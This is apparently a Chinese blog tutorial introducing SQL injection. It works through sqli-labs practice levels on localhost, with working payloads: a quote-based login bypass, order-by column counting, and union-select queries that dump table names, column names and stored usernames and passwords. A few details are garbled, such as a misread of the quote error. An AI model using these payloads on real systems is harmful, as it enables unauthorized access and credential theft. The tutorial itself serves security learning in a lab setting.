🐮博主syst1m 带你 acquire knowledge!
✨博客首页——syst1m的博客💘
🔞 《网安小白成长之路(我要变成大佬😎!!)》真实小白学习历程,手把手带你一起从入门到入狱🚭
😘《CTF专栏》超级详细的解析,宝宝级教学让你从蹒跚学步到健步如飞🙈
😎《大数据专栏》大数据从0到秃头👽,从分析到决策,无所不能❕
🔥 《python面向对象(人狗大战)》突破百万的阅读量,上过各种各样的官方大型专栏,python面向对象必学之一!🐽
🎉希望本文能够给读者带来帮助,更好地理解这个问题或解决你的困惑🐾
文章目录
- 前言
- sql注入操作
- 一、什么是sql注入
- 1.sql注入简单演示
- 2.sql注入注意事项
- 3.sql注入方法
- 4.sql注入的危害
- 二、sql注入实战操作
- 1.MySQL注入知识点
- 1-1.MySQL数据库元信息
- 1-2.MySQL数据库的常用查询
- 1-3.MySQL注释
- 2.sql-labs靶场实战
- 2-1.判断sql语句类型
- 2-2.基于get报错的注入
- 2-3.基于post报错的注入
- 三、总结
前言
学习SQL注入至关重要,它不仅是网络安全领域的关键一环,更是提升技术能力的有效途径。掌握SQL注入技术,可增强对数据库安全的防范意识,为数据安全保驾护航,为职业发展增添竞争力。
sql注入操作
一、什么是sql注入
SQL注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在应用程序中预先定义好的查询语句的结尾上添加额外的SQL代码,来欺骗后台数据库服务器执行非授权的任意查询,从而获取或篡改数据。其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的原理主要基于Web应用程序对用户输入的数据没有进行充分的验证和过滤。当应用程序使用用户提供的输入来构造SQL查询语句时,如果输入未经正确处理,攻击者可以插入恶意的SQL代码。这些恶意代码会被数据库误认为是正常的SQL查询部分,从而执行非预期的数据库操作。
具体来说,SQL注入攻击通常发生在以下几种情况下:
- 用户输入的数据未经过严格的验证和过滤,直接被拼接到SQL查询语句中。
- 应用程序存在SQL注入漏洞,攻击者可以通过输入特定的恶意代码来利用这些漏洞。
- 数据库没有实施足够的安全措施,如限制数据库用户的权限,或者使用参数化查询等。
1.sql注入简单演示
在之前的文章中我们编辑了一个简单的php登陆页面,我们就拿它来演示
' or'1'='1
我们在密码框中输入这个即可直接登陆
2.sql注入注意事项
- 确定web攻击对象的程序设计语言
- 查找注入点,表单、http、cookics或者后端的Ajax请求…
- 查找出可以用于注入的输入方式
3.sql注入方法
- 手动找到注入点,手动构造输入
- 利用工具SQLMap进行注入
4.sql注入的危害
- 数据泄露、篡改、丢失,盗取用户敏感信息从而获取利益
- 通过执行大量的数据库查询或故意造成数据库锁定,导致系统资源耗尽,使服务不可用
- 通过修改数据更改网页中的内容
- 攻击者可以利用SQL注入来提升他们的权限,甚至可能获取数据库管理员的权限,控制整个数据库系统
- 恶意用户可以利用SQL命令删除数据库中的重要数据,造成数据丢失和业务中断
二、sql注入实战操作
1.MySQL注入知识点
1-1.MySQL数据库元信息
information-schema数据库
- tables表
- table-name 表的名字
- table-schema 表所属数据库的名字
- columns表
- column-name 表的名字
- table-name 字段所属表名
- table-schema 字段所属表所属数据库名字
1-2.MySQL数据库的常用查询
- select user() 查看当前MySQL登录用户名
- select database() 查看当前MySQL数据库名
- select version() 查看当权MySQL版本
- select @@version 查看当权MySQL版本
- select @@basedir 查看MySQL路径
- select length() 字符串长度
- select substring() 截取字符串
- select ord 返回ASCII码
- select concat() 连接字符串
- select sleep(4) 睡眠指定描述
- group_concat() 查询结果放到同一行
- limit m,n 冲m行开始,到m+n行
- mid() 需要截取的字符串
1-3.MySQL注释
#和–空格 表示后面的语句不被执行,如果是get请求,url中的#是用来指导浏览器动作的,对服务器无效,而–空格在传输中会被忽略,所以在get请求中使用 --+,+会被解释成空格
/* */ 内联注释,只有MySQL可以识别,常用来绕过WAF
2.sql-labs靶场实战
2-1.判断sql语句类型
我们进入Less-1
Please input the ID as parameter with numeric value
输入ID正确的值
我们可以通过 单引号 ’ 查看回显信息,是字符型还是数值型
我们在 url中 Less-1/后面输入 ?id=2’ (这里的数字随意)
如果返回错误的话就能判断这是一个数值型
将单引号删除看看
就成功了
2-2.基于get报错的注入
利用 order by 判断字段数
依旧是Less-1,我们已经知道了输入单引号 ’ 会报错,是数值型,我们可以在后面输入 order by 来判断字段数
locallhost/sqli-labs/Less-1/?id=1' order by 3 --+
输入上面的看看字段数是否是3
我们在往上加点看看4会有什么
到这里我们已经知道了这个数据表字段数有3个
现在我可以试试使用 union 查询
localhost/sqli-labs/Less-1/?id=0' union select 1,2,3 --+
这里我们需要使用一个数据表里面不存在的ID才可以
输入之后他会告诉你,name的字段是2,密码的字段是3
现在我们可以利用 union 联合查询和MySQL函数来查询些东西了
localhost/sqli-labs/Less-1/?id=0' union select 1,user(),database() --+
可以看到用户名和数据库了
上面我们讲了数据库的元信息,可以利用 group_concat() 来查看数据库的信息
localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
选择在1,2,3中的2输出 table_name table_name 来自 information_schema中的tables 条件 table_schema=database()
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
根据名字知道users是用户表,我们继续使用元信息查看它的字段名
localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
不知道为什么我的数据库里面有好几个名字为 uses 的表
现在我们知道了他的字段名,就可以查看它的具体信息了
localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat("用户",username,"密码",password),3 from users --+
2-3.基于post报错的注入
这里我们使用Less-11
我们知道了用户名和密码直接登陆会显示
假如我们不知道,来试试万能密码
我们在后面加上 反斜杠 \ 在MySQL中 ’ 会被转义 所以下面就会显示错误出现在123123那里
我们在username中输入 admin’ or 1=1 --空格 会直接登陆
我们再去Less-12看看
在后面加上 反斜杠 \ 查看回显
可以看到它的闭合信息是 ") 所以我们输入的万能密码 ’ 要改成 ")
三、总结
今天的这期内容主要是介绍sql注入和sql注入的一些实操,内容偏多,主要是围绕sql-labs靶场进行学习,在post的注入中万能密码不也全是单引号,我们需要学会使用反斜杠看看闭合信息进行更改,如果你还有什么问题的话,记得私信我哦!